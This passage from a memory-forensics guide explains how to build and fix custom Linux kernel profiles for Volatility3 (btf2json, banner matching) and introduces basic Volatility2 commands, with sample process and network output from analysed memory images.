3. Identify & obtain kernel image and linux modules from relevant repository.
4. Extract kernel image from package
5. Decompress kernel image (decompress vmlinuz to vmlinux)
6. Extract system map from linux modules package
7. Bring it all together with btf2json
8. Modify volatility3 schema
9. Test profile

Let's get started.

1. **Obtain/generate memory sample (DumpIt for Linux, AVML, etc)**

For this step, we'll use a publicly available sample. [13Cubed ](https://training.13cubed.com/)recently released an analysis challenge on [YouTube ](https://www.youtube.com/watch?v=IHd85h6T57E)which involved examination of a memory sample from an Ubuntu machine. The sample is available to [download here](https://13cubed.s3.amazonaws.com/downloads/linux_challenge.zip).

2. **Identify full kernel banner (this is important, don't skip this step)**

We can use the volatility3 plugin 'banners' to identify banner information. Be mindful that volatility sometimes outputs raw/escape characters in its output. Although the output below is the full value, make sure you remove any prepended/trailing values (like \b for backspace) are removed. Depending on how messy the output is, this may require some trial and error.&#x20;

You'll see that this is important later as btf2json requires you to input this value so it can generate a compatible profile. The variable you provide is going to be converted/encoded in base64, and stored in the profile (as I [covered ](https://www.iblue.team/memory-forensics-1/volatility-plugins/banners-isfinfo-and-custom-profiles#inspecting-custom-profile-json)here)

{% code overflow="wrap" %}

```
python3 vol.py -v -f /mnt/c/13cubed/memory/memory.vmem banners

Linux version 6.5.0-41-generic (buildd@lcy02-amd64-120) (x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #41~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Mon Jun  3 11:32:55 UTC 2 (Ubuntu 6.5.0-41.41~22.04.2-generic 6.5.13)
```

{% endcode %}

3. **Identify & obtain kernel image and Linux modules from relevant repository.**

From the above, we can see we have an Ubuntu host with 6.5.0-41-generic.

A quick search gives us a download location;\
<https://launchpad.net/ubuntu/mantic/amd64/linux-image-6.5.0-41-generic/6.5.0-41.41> and a direct link;\
<http://launchpadlibrarian.net/731521331/linux-image-6.5.0-41-generic_6.5.0-41.41_amd64.deb>&#x20;

4. **Extract kernel image from package**

We have the kernel package, but it's inside a .deb file (which is an Ubuntu package). We don't want to install it, we want to extract a file from within it. We want to extract vmlinuz-6.5.0-41-generic, but how can we do that? Packages contain data streams and controls streams.  If we were to use 7zip (as shown below), you'd be presented with 2 additional zst files (these are compressed with zstd and can't be uncompressed with 7zip)

```
$ 7z l linux-image-6.5.0-41-generic_6.5.0-41.41_amd64.deb

Scanning the drive for archives:
1 file, 14096990 bytes (14 MiB)

Listing archive: linux-image-6.5.0-41-generic_6.5.0-41.41_amd64.deb

--
Path = linux-image-6.5.0-41-generic_6.5.0-41.41_amd64.deb
Type = Ar
Physical Size = 14096990
SubType = deb

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2024-05-21 01:11:55 .....         2172         2172  control.tar.zst
2024-05-21 01:11:55 .....     14094625     14094625  data.tar.zst
------------------- ----- ------------ ------------  ------------------------
2024-05-21 01:11:55           14096797     14096797  2 files
```

We can use the **dpkg -c** command to identify which files we want.&#x20;

```
$ dpkg -c linux-image-6.5.0-41-generic_6.5.0-41.41_amd64.deb
drwxr-xr-x root/root         0 2024-05-21 00:11 ./
drwxr-xr-x root/root         0 2024-05-21 00:11 ./boot/
-rw------- root/root  14327304 2024-05-21 00:11 ./boot/vmlinuz-6.5.0-41-generic
[snip]
```

We can then use **dpkg** with the **fsystarfile** option to inspect and ultimately extract the file.

This is the syntax;

{% code overflow="wrap" %}

```
dpkg --fsys-tarfile your-downloaded-package.deb | tar xOf - ./path/to/file/inside > dest.file
```

{% endcode %}

Using the package above, this would result in the following command (one liner, code block is wrapped)

{% code overflow="wrap" fullWidth="false" %}

```
dpkg --fsys-tarfile linux-image-6.5.0-41-generic_6.5.0-41.41_amd64.deb| tar xOf - ./boot/vmlinuz-6.5.0-41-generic > vmlinuz-6.5.0-41-generic
```

{% endcode %}

5. **Decompress kernel image (decompress vmlinuz to vmlinux)**

btf2json doesn't handle compressed linux kernels/images. vmlinu**z** is the compressed version of vmlinux. The bash script used to extract/decompress the compressed image should be included in your kernel tree (usually /usr/src/kernels/your-kernel-version/scripts/extract-vmlinux). If not, you can [download it from GitHub](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux).

Decompress vmlinuz into vmlinux

```
./extract-vmlinux.sh vmlinuz-6.5.0-41-generic > vmlinux
```

6. **Extract system map from linux modules package**

Download our corresponding kernel modules package

{% code overflow="wrap" %}

```
$ wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux-hwe-6.5/linux-modules-6.5.0-41-generic_6.5.0-41.41~22.04.2_amd64.deb
```

{% endcode %}

Perform the same steps as 4, just targeting the System.Map file

```
$ dpkg -c linux-modules-6.5.0-41-generic_6.5.0-41.41~22.04.2_amd64.deb
drwxr-xr-x root/root         0 2024-06-03 19:39 ./
drwxr-xr-x root/root         0 2024-06-03 19:39 ./boot/
-rw------- root/root   8268513 2024-06-03 19:39 ./boot/System.map-6.5.0-41-generic
-rw-r--r-- root/root    280657 2024-06-03 19:39 ./boot/config-6.5.0-41-generic
drwxr-xr-x root/root         0 2024-06-03 19:39 ./lib/
[snip]
```

Extract System.map-6.5.0-41-generic (one liner, code block is wrapped)

{% code overflow="wrap" %}

```
dpkg --fsys-tarfile linux-modules-6.5.0-41-generic_6.5.0-41.41~22.04.2_amd64.deb| tar xOf - ./boot/System.map-6.5.0-41-generic > System.map-6.5.0-41-generic 
```

{% endcode %}

7. **Bring it all together with btf2json**

In the same directory, download btf2json

```
$ wget https://github.com/vobst/btf2json/releases/download/v0.1.0/btf2json
```

Remember how we identified the banners in step 1? You'll need the full value here.

{% code overflow="wrap" %}

```
Linux version 6.5.0-41-generic (buildd@lcy02-amd64-120) (x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #41~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Mon Jun  3 11:32:55 UTC 2 (Ubuntu 6.5.0-41.41~22.04.2-generic 6.5.13)
```

{% endcode %}

The final command;

{% code overflow="wrap" %}

```
./btf2json --btf /path/to/vmlinux --map /path/to/System.map-6.5.0-41-generic --banner "Linux version 6.5.0-41-generic (buildd@lcy02-amd64-120) (x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #41~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Mon Jun  3 11:32:55 UTC 2 (Ubuntu 6.5.0-41.41~22.04.2-generic 6.5.13)" > 13cubed-btfs2json.json
```

{% endcode %}

You can see we end up with the profile "13cubed-btfs2json.json" which you'll need to place in volatility3 symbols folder.

8. **Modify volatility3 schema**

In \volatility3-2.5.21\volatility3\schemas you'll see a file named 'schema-6.2.0.json'. Open that in your favourite text editor, and [follow the instructions ](https://github.com/vobst/btf2json)here.

```
-          "pattern": "^(dwarf|symtab|system-map)$"
+          "pattern": "^(btf|symdb|dwarf|symtab|system-map)$"
```

9. **Test Profile**

Move your new profile (13cubed-btf2json.json) to your symbols folder.

Check it's registered.

```
$ mv 13cubed-btf2json.json /path/to/volatility3/symbols
$ python3 vol.py isfinfo

URI     Valid   Number of base_types    Number of types Number of symbols       Number of enums Identifying information

file:///mnt/c/volatility3-2.5.21/volatility3/symbols/13cubed-btf2json.json        True (cached)   19      13317   179428  2441    b'Linux version 6.5.0-41-generic (buildd@lcy02-amd64-120) (x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #41~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Mon Jun  3 11:32:55 UTC 2 (Ubuntu 6.5.0-41.41~22.04.2-generic 6.5.13)'
```

Test the profile

```
$ python3 vol.py -v -f /mnt/c/13cubed/memory/memory.vmem linux.pslist

OFFSET (V)      PID     TID     PPID    COMM    File output

0x9ee0c027b300  1       1       0       systemd Disabled
0x9ee0c0279980  2       2       0       kthreadd        Disabled
0x9ee0c027e600  3       3       2       rcu_gp  Disabled
0x9ee0c0278000  4       4       2       rcu_par_gp      Disabled
0x9ee0c027cc80  5       5       2       slub_flushwq    Disabled
0x9ee0c028cc80  6       6       2       netns   Disabled
0x9ee0c0333300  11      11      2       mm_percpu_wq    Disabled
0x9ee0c0331980  12      12      2       rcu_tasks_kthre Disabled
0x9ee0c0336600  13      13      2       rcu_tasks_rude_ Disabled

[snip]
```


# Banners, isfinfo, and custom profiles

How to force Volatility3 to use a specific (albeit mismatching) Linux kernel profile

Let's explore a couple of concepts to ensure we're using the correct terminology.

Volatility uses the '**banners**' plugin to identify the operating system, kernel version, compilation information, etc. This is critical to ensure the correct profile is used when attempting to parse the memory dump. The correct profile ensures that kernel is correctly identified, and the correct memory structures are mapped correctly.

The Intermediate Symbol Format (ISF) is a JSON-based file which Volatility uses (as the '**isfinfo**' plugin) to store specific memory structures to ensure they're mapped correctly, allowing execution of other plugins.

As I [highlighted here](/memory-forensics-1/volatility-plugins/build-custom-linux-profile-for-volatility), you can use the banners plugin to identify the operating system if it was previously unknown. The banners plugin also aids in troubleshooting and debugging when building custom profiles.

I recently helped a person on Discord to build a custom kernel profile for a memory sample which was collected during a CTF. We can approach this in a simple manner. 1) Run banners, and 2) run strings

## Identify banner information

{% code overflow="wrap" %}

```
$ python3 vol.py -f dump.raw banners
Volatility 3 Framework 2.20.0
Progress:  100.00               PDB scanning finished
Offset  Banner

0x77a00200      Linux version 5.15.0-43-generic (buildd@lcy02-amd64-076) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 (Ubuntu 5.15.0-43.46-generic 5.15.39)

0x78dc3718      Linux version 5.15.0-43-generic (buildd@lcy02-amd64-076) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 (Ubuntu 5.15.0-43.46-generic 5.15.39)9)
```

{% endcode %}

We can see that the kernel Ubuntu 5.15.0-43 is being used in this sample. Ubuntu docs suggest that it was published on/around 9th May 2023 and was released in Jammy (22.04).&#x20;

Because you can use different releases with different kernels (20.04 with 5.15.0-43, 22.04 with 5.15.0-43, etc), we want to confirm which release this sample came from. This makes it easier when attempting to locate relevant debugging symbols.

## Confirm operating system release

We know that Ubuntu stores its release information in the following locations (examples included)

**/etc/issue**

```
Ubuntu 20.04.5 LTS \n \l
```

**/etc/os-release**

```
NAME="Ubuntu"
VERSION="20.04.5 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.5 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
```

**/etc/lsb-release**

```
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.5 LTS"
```

We can use these locations (with strings/grep) to gather more information. This command will print 4 the matching line, plus the previous 4 lines.

```
$ strings dump.raw | grep -B 4 DISTRIB_DESCRIPTION

        create 644 root root
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.4 LTS"
```

So now we have the release version and kernel version. You can follow the [guide here ](/memory-forensics-1/volatility-plugins/build-custom-linux-profile-for-volatility)to generate a kernel profile before you continue.

## Inspecting custom profile JSON

Following the previous guide, we've generated a custom profile for our memory sample. We've moved it into our default symbols directory, so let's try and use it to process our memory sample.

First step is to run **isfinfo** to make sure it's a registered/cached profile.

{% code overflow="wrap" %}

```
$ python3 vol.py isfinfo

Volatility 3 Framework 2.20.0
Progress:  100.00               PDB scanning finished
URI     Valid   Number of base_types    Number of types Number of symbols       Number of enums Identifying information

file:///home/user/Desktop/volatility3/volatility3/symbols/Ubuntu.5.15.0-43-generic.json Unknown 19      12076   199003  2075    b'Linux version 5.15.0-43-generic (buildd@lcy02-amd64-026) (gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #46~20.04.1-Ubuntu SMP Thu Jul 14 15:20:17 UTC 2022 (Ubuntu 5.15.0-43.46~20.04.1-generic 5.15.39)\n\x00'
```

{% endcode %}

Good start, let's run **linux.pslist** to identify processes.

```
$ python3 vol.py -f dump.raw linux.pslist
Volatility 3 Framework 2.20.0
Progress:  100.00               Stacking attempts finished
Unsatisfied requirement plugins.PsList.kernel.layer_name:
Unsatisfied requirement plugins.PsList.kernel.symbol_table_name:

A translation layer requirement was not fulfilled.  Please verify that:
        A file was provided to create this layer (by -f, --single-location or by config)
        The file exists and is readable
        The file is a valid memory image and was acquired cleanly

A symbol table requirement was not fulfilled.  Please verify that:
        The associated translation layer requirement was fulfilled
        You have the correct symbol file for the requirement
        The symbol file is under the correct directory or zip file
        The symbol file is named appropriately or contains the correct banner

Unable to validate the plugin requirements: ['plugins.PsList.kernel.layer_name', 'plugins.PsList.kernel.symbol_table_name']
```

But we downloaded the correct release, installed the correct kernel (5.15.0-43-generic) and installed the relevant debugging symbols (5.15.0-43-generic-dbgsym). So what's wrong?

```
isfinfo

Linux version 5.15.0-43-generic (buildd@lcy02-amd64-026) (gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #46~20.04.1-Ubuntu SMP Thu Jul 14 15:20:17 UTC 2022 (Ubuntu 5.15.0-43.46~20.04.1-generic 5.15.39)

banners

Linux version 5.15.0-43-generic (buildd@lcy02-amd64-076) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 (Ubuntu 5.15.0-43.46-generic 5.15.39)
```

<figure><img src="/files/CI7DlSrHoxAmIE5ITdDw" alt=""><figcaption></figcaption></figure>

We can see there's a slight mismatch between the output from isfinfo (our custom profile) and the string which banners has produced.

Open the .json file for the kernel profile you created (Ubuntu20.04-5.15.0-43-generic.json)

<figure><img src="/files/JAshbTsgvP7CazWgIfoe" alt=""><figcaption></figcaption></figure>

You'll also find a field called 'constant\_data' which is base64 encoded

<figure><img src="/files/HJGy08fRyyXvwY87deXu" alt=""><figcaption></figcaption></figure>

Take your banners output and convert it into base64 (echo, cyberchef, etc)

<figure><img src="/files/ndbYVKarJtKZzlkFXNgP" alt=""><figcaption></figcaption></figure>

Replace the original base64 value in the kernel profile with your new value

<figure><img src="/files/JJOut1pf7FDnY5KMMVzl" alt=""><figcaption></figcaption></figure>

Save this as a new profile (Ubuntu.5.15.0-43-generic-modified.json), clear your volatility cache, then attempt to run the plugin again.

```
$ python3 vol.py -v --clear-cache -f dump.raw linux.pslist
Volatility 3 Framework 2.20.0
INFO     volatility3.cli: Volatility plugins path: ['/home/user/Desktop/volatility3/volatility3/plugins', '/home/user/Desktop/volatility3/volatility3/framework/plugins']
INFO     volatility3.cli: Volatility symbols path: ['/home/user/Desktop/volatility3/volatility3/symbols', '/home/user/Desktop/volatility3/volatility3/framework/symbols']
INFO     volatility3.framework.automagic: Detected a linux category plugin
INFO     volatility3.framework.automagic: Running automagic: ConstructionMagic
INFO     volatility3.framework.automagic: Running automagic: SymbolCacheMagic
INFO     volatility3.framework.automagic: Running automagic: LayerStacker
INFO     volatility3.framework.automagic: Running automagic: SymbolFinder
INFO     volatility3.framework.automagic: Running automagic: LinuxSymbolFinder
INFO     volatility3.framework.automagic: Running automagic: KernelModule

OFFSET (V)      PID     TID     PPID    COMM    UID     GID     EUID    EGID    CREATION TIME   File output

0x8df7c1278000  1       1       0       systemd 0       0       0       0       2022-11-15 22:56:31.038819 UTC  Disabled
0x8df7c127df00  2       2       0       kthreadd        0       0       0       0       2022-11-15 22:56:31.038819 UTC  Disabled
0x8df7c127c740  3       3       2       rcu_gp  0       0       0       0       2022-11-15 22:56:31.166819 UTC  Disabled
0x8df7c127af80  4       4       2       rcu_par_gp      0       0       0       0       2022-11-15 22:56:31.166819 UTC  Disabled
0x8df7c12797c0  5       5       2       netns   0       0       0       0       2022-11-15 22:56:31.166819 UTC  Disabled
0x8df7c12117c0  6       6       2       kworker/0:0     0       0       0       0       2022-11-15 22:56:31.166819 UTC  Disabled
0x8df7c1210000  7       7       2       kworker/0:0H    0       0       0       0       2022-11-15 22:56:31.166819 UTC  Disabled
0x8df7c1215f00  8       8       2       kworker/u4:0    0       0       0       0       2022-11-15 22:56:31.166819 UTC  Disabled
0x8df7c1214740  9       9       2       mm_percpu_wq    0       0       0       0       2022-11-15 22:56:31.166819 UTC  Disabled
```


# Volatility2 core commands

There are a number of core commands within Volatility and a lot of them are covered by Andrea Fortuna in his [blog](https://www.andreafortuna.org/tag/volatility/). For those interested, I highly recommend his book ["The little handbook of Windows Memory Analysis"](https://www.amazon.com/gp/product/B07P7R5VDW) (not an affiliate link).

The following is a short list of basic commands to get you up and running with Volatility. More commands will be covered later.

Using our Win7SP1x64\_23418 profile identified previously, we can execute the following command to identify a list of commands we can use. $mem  is set to the path of our imagedump.

```
$ python vol.py -f $mem --profile=Win7SP1x64_23418 -h
```

Depending on the size of your memory dump file, these commands can sometimes take a long time to return results. It's wise (as with any analysis) to identify your objectives. If you're starting fresh and don't have any investigative avenues, then running these core commands will help you identify any potentially foreign connections or malicious processes.

**netscan**

Netscan scans for network related artifacts, up to Windows 10. You'll see IPv4 and IPv6 addresses, local address (with port), remote address (with port), state, PID (processing ID), connection owner, and created time.

```
$ python vol.py -f $mem --profile=Win7SP1x64_23418 netscan

0x13d73d730        TCPv4    0.0.0.0:3389                   0.0.0.0:0            LISTENING        1160     svchost.exe
0x13d73d730        TCPv6    :::3389                        :::0                 LISTENING        1160     svchost.exe
0x13f2e5010        TCPv4    192.168.10.146:54284           13.107.21.200:443    CLOSED           -1
0x13f304280        TCPv4    192.168.10.146:54283           13.107.21.200:443    CLOSED           -1
```

**pslist**

pslist generates a list of the procsses used by the system. It shows the offset, process name, PID (process ID), PPID (parent process ID), as well as process start and exit time.

```
$ python vol.py -f $mem --profile=Win7SP1x64_23418 pslist

Volatility Foundation Volatility Framework 2.6.1
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8030e57b00 System                    4      0    108      572 ------      0 2020-04-20 22:44:37 UTC+0000
0xfffffa8032005aa0 smss.exe                280      4      2       30 ------      0 2020-04-20 22:44:37 UTC+0000
0xfffffa8032f05b00 csrss.exe               364    352      9      532      0      0 2020-04-20 22:44:38 UTC+0000
0xfffffa803254d580 wininit.exe             408    352      3       76      0      0 2020-04-20 22:44:38 UTC+0000
0xfffffa8032a29350 csrss.exe               440    416     11      534      1      0 2020-04-20 22:44:38 UTC+0000
0xfffffa803317e8e0 services.exe            472    408      7      241      0      0 2020-04-20 22:44:38 UTC+0000
0xfffffa8033197060 winlogon.exe            508    416      5      117      1      0 2020-04-20 22:44:38 UTC+0000
0xfffffa80331a7b00 lsass.exe               536    408      7      648      0      0 2020-04-20 22:44:38 UTC+0000
0xfffffa80331adb00 lsm.exe                 544    408     10      211      0      0 2020-04-20 22:44:38 UTC+0000
0xfffffa8033227b00 svchost.exe             660    472     11      378      0      0 2020-04-20 22:44:38 UTC+0000
0xfffffa803325c060 vmacthlp.exe            728    472      3       66      0      0 2020-04-20 22:44:38 UTC+0000
0xfffffa8033266060 svchost.exe             772    472     10      336      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa80332b0b00 svchost.exe             860    472     21      514      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa80332fa5f0 svchost.exe             936    472     20      460      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa80333379b0 svchost.exe             980    472     15      655      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa803333db00 svchost.exe             112    472     44     1260      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa8033424860 svchost.exe            1160    472     21      668      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa803343eb00 spoolsv.exe            1304    472     13      287      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa80334d8b00 svchost.exe            1332    472     19      346      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa803357c5f0 svchost.exe            1444    472     10      146      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa80335e7720 VGAuthService.         1520    472      3       86      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa803364a060 vmtoolsd.exe           1576    472     10      289      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa80335edb00 wlms.exe               1636    472      4       46      0      0 2020-04-20 22:44:39 UTC+0000
0xfffffa8033735060 sppsvc.exe             1952    472      4      170      0      0 2020-04-20 22:44:40 UTC+0000
0xfffffa803362c060 svchost.exe            2032    472      6      105      0      0 2020-04-20 22:44:40 UTC+0000
0xfffffa803376e060 svchost.exe            1080    472      7      101      0      0 2020-04-20 22:44:40 UTC+0000
0xfffffa803379eb00 WmiPrvSE.exe           2108    660     12      221      0      0 2020-04-20 22:44:40 UTC+0000
0xfffffa80338145f0 dllhost.exe            2216    472     13      195      0      0 2020-04-20 22:44:40 UTC+0000
0xfffffa803386db00 msdtc.exe              2324    472     12      148      0      0 2020-04-20 22:44:40 UTC+0000
0xfffffa803365b060 svchost.exe            2944    472      9      136      0      0 2020-04-20 22:46:40 UTC+0000
0xfffffa80310b3b00 svchost.exe             360    472     13      361      0      0 2020-04-20 22:46:40 UTC+0000
0xfffffa8031090060 SearchIndexer.         2580    472     13      694      0      0 2020-04-20 22:46:41 UTC+0000
0xfffffa80316f9060 taskhost.exe           1396    472     10      223      1      0 2020-04-20 23:16:53 UTC+0000
0xfffffa8031ea9940 dwm.exe                2852    936      3       82      1      0 2020-04-20 23:16:53 UTC+0000
0xfffffa80317ff060 explorer.exe           2672   2148     31     1018      1      0 2020-04-20 23:16:53 UTC+0000
0xfffffa803140c5f0 WerFault.exe           2164   2508      5      133      1      0 2020-04-20 23:16:54 UTC+0000
0xfffffa8031e80b00 vmtoolsd.exe           2928   2672      9      178      1      0 2020-04-20 23:16:54 UTC+0000
0xfffffa80324e1940 audiodg.exe            1728    860      5      136      0      0 2020-04-20 23:16:54 UTC+0000
0xfffffa803165eb00 slack.exe              2208   2412     28      553      1      0 2020-04-20 23:16:54 UTC+0000
0xfffffa8031ed3710 slack.exe              2728   2208      9      213      1      0 2020-04-20 23:16:59 UTC+0000
0xfffffa8031471b00 slack.exe              1172   2208      7      135      1      0 2020-04-20 23:17:00 UTC+0000
0xfffffa8031688b00 slack.exe              2812   2208     15      325      1      0 2020-04-20 23:17:00 UTC+0000
0xfffffa80338cdb00 slack.exe              2848   2208     14      276      1      0 2020-04-20 23:17:00 UTC+0000
0xfffffa803177bb00 WINWORD.EXE            3180   2672     15      698      1      0 2020-04-20 23:17:06 UTC+0000
0xfffffa8031e2c2c0 chrome.exe             3384   2672     30     1039      1      0 2020-04-20 23:17:07 UTC+0000
0xfffffa8032429060 chrome.exe             3392   3384      7       95      1      0 2020-04-20 23:17:07 UTC+0000
0xfffffa803258cb00 wuauclt.exe            3464    112      3       94      1      0 2020-04-20 23:17:08 UTC+0000
0xfffffa80324ca5c0 chrome.exe             3492   3384      2       56      1      0 2020-04-20 23:17:09 UTC+0000
```

**pstree -v**

pstree shows the process list, but as a tree which may be easier to follow/visualise. pstree also supports verbose listings (-v) which shows the entire process path, arguments attached during execution, and some other technical information.

```
$ python vol.py -f $mem --profile=Win7SP1x64_23418 pstree -v

Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa803254d580:wininit.exe                       408    352      3     76 2020-04-20 22:44:38 UTC+0000
    audit: \Device\HarddiskVolume1\Windows\System32\wininit.exe
    cmd: wininit.exe
    path: C:\Windows\system32\wininit.exe
. 0xfffffa80331a7b00:lsass.exe                        536    408      7    648 2020-04-20 22:44:38 UTC+0000
     audit: \Device\HarddiskVolume1\Windows\System32\lsass.exe
     cmd: C:\Windows\system32\lsass.exe
     path: C:\Windows\system32\lsass.exe
. 0xfffffa80331adb00:lsm.exe                          544    408     10    211 2020-04-20 22:44:38 UTC+0000
     audit: \Device\HarddiskVolume1\Windows\System32\lsm.exe
     cmd: C:\Windows\system32\lsm.exe
     path: C:\Windows\system32\lsm.exe
. 0xfffffa803317e8e0:services.exe                     472    408      7    241 2020-04-20 22:44:38 UTC+0000
     audit: \Device\HarddiskVolume1\Windows\System32\services.exe
     cmd: C:\Windows\system32\services.exe
     path: C:\Windows\system32\services.exe
.. 0xfffffa803365b060:svchost.exe                    2944    472      9    136 2020-04-20 22:46:40 UTC+0000
      audit: \Device\HarddiskVolume1\Windows\System32\svchost.exe
      cmd: C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
      path: C:\Windows\system32\svchost.exe
.. 0xfffffa8033424860:svchost.exe                    1160    472     21    668 2020-04-20 22:44:39 UTC+0000
      audit: \Device\HarddiskVolume1\Windows\System32\svchost.exe
      cmd: C:\Windows\system32\svchost.exe -k NetworkService
      path: C:\Windows\system32\svchost.exe
.. 0xfffffa8033227b00:svchost.exe                     660    472     11    378 2020-04-20 22:44:38 UTC+0000
      audit: \Device\HarddiskVolume1\Windows\System32\svchost.exe
      cmd: C:\Windows\system32\svchost.exe -k DcomLaunch
      path: C:\Windows\system32\svchost.exe
... 0xfffffa803379eb00:WmiPrvSE.exe                  2108    660     12    221 2020-04-20 22:44:40 UTC+0000
       audit: \Device\HarddiskVolume1\Windows\System32\wbem\WmiPrvSE.exe
       cmd: C:\Windows\system32\wbem\wmiprvse.exe
       path: C:\Windows\system32\wbem\wmiprvse.exe
... 0xfffffa80333d6060:WmiPrvSE.exe                  3440    660     13    332 2020-04-20 23:17:13 UTC+0000
       audit: \Device\HarddiskVolume1\Windows\System32\wbem\WmiPrvSE.exe
       cmd: C:\Windows\system32\wbem\wmiprvse.exe
       path: C:\Windows\system32\wbem\wmiprvse.exe
.. 0xfffffa8033266060:svchost.exe                     772    472     10    336 2020-04-20 22:44:39 UTC+0000
      audit: \Device\HarddiskVolume1\Windows\System32\svchost.exe
      cmd: C:\Windows\system32\svchost.exe -k RPCSS
      path: C:\Windows\system32\svchost.exe
.. 0xfffffa803325c060:vmacthlp.exe                    728    472      3     66 2020-04-20 22:44:38 UTC+0000
      audit: \Device\HarddiskVolume1\Program Files\VMware\VMware Tools\vmacthlp.exe
      cmd: "C:\Program Files\VMware\VMware Tools\vmacthlp.exe"
      path: C:\Program Files\VMware\VMware Tools\vmacthlp.exe
.. 0xfffffa803333db00:svchost.exe                     112    472     44   1260 2020-04-20 22:44:39 UTC+0000
      audit: \Device\HarddiskVolume1\Windows\System32\svchost.exe
      cmd: C:\Windows\system32\svchost.exe -k netsvcs
      path: C:\Windows\system32\svchost.exe
... 0xfffffa803258cb00:wuauclt.exe                   3464    112      3     94 2020-04-20 23:17:08 UTC+0000
       audit: \Device\HarddiskVolume1\Windows\System32\wuauclt.exe
       cmd: "C:\Windows\system32\wuauclt.exe"
       path: C:\Windows\system32\wuauclt.exe
.. 0xfffffa803357c5f0:svchost.exe                    1444    472     10    146 2020-04-20 22:44:39 UTC+0000
      audit: \Device\HarddiskVolume1\Windows\System32\svchost.exe
      cmd: C:\Windows\System32\svchost.exe -k utcsvc
      path: C:\Windows\System32\svchost.exe
.. 0xfffffa803364a060:vmtoolsd.exe                   1576    472     10    289 2020-04-20 22:44:39 UTC+0000
      audit: \Device\HarddiskVolume1\Program Files\VMware\VMware Tools\vmtoolsd.exe
      cmd: "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
      path: C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
.. 0xfffffa8031090060:SearchIndexer.                 2580    472     13    694 2020-04-20 22:46:41 UTC+0000
. 0xfffffa8031ac2b00:FTK Imager.exe                  4332   2672     12    421 2020-04-20 23:19:17 UTC+0000
     audit: \Device\HarddiskVolume1\Users\Warren\Downloads\Imager_Lite_3.1.1\FTK Imager.exe
     cmd: "C:\Users\Warren\Downloads\Imager_Lite_3.1.1\FTK Imager.exe"
     path: C:\Users\Warren\Downloads\Imager_Lite_3.1.1\FTK Imager.exe
. 0xfffffa8031e2c2c0:chrome.exe                      3384   2672     30   1039 2020-04-20 23:17:07 UTC+0000
     audit: \Device\HarddiskVolume1\Program Files (x86)\Google\Chrome\Application\chrome.exe
     cmd: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
     path: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
.. 0xfffffa8032429060:chrome.exe                     3392   3384      7     95 2020-04-20 23:17:07 UTC+0000
      audit: \Device\HarddiskVolume1\Program Files (x86)\Google\Chrome\Application\chrome.exe
      cmd:
      path: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
.. 0xfffffa8032150b00:chrome.exe                     4484   3384     16    184 2020-04-20 23:24:22 UTC+0000
      audit: \Device\HarddiskVolume1\Program Files (x86)\Google\Chrome\Application\chrome.exe
.. 0xfffffa8033234a80:chrome.exe                     3596   3384      9    211 2020-04-20 23:17:09 UTC+0000
      audit: \Device\HarddiskVolume1\Program Files (x86)\Google\Chrome\Application\chrome.exe
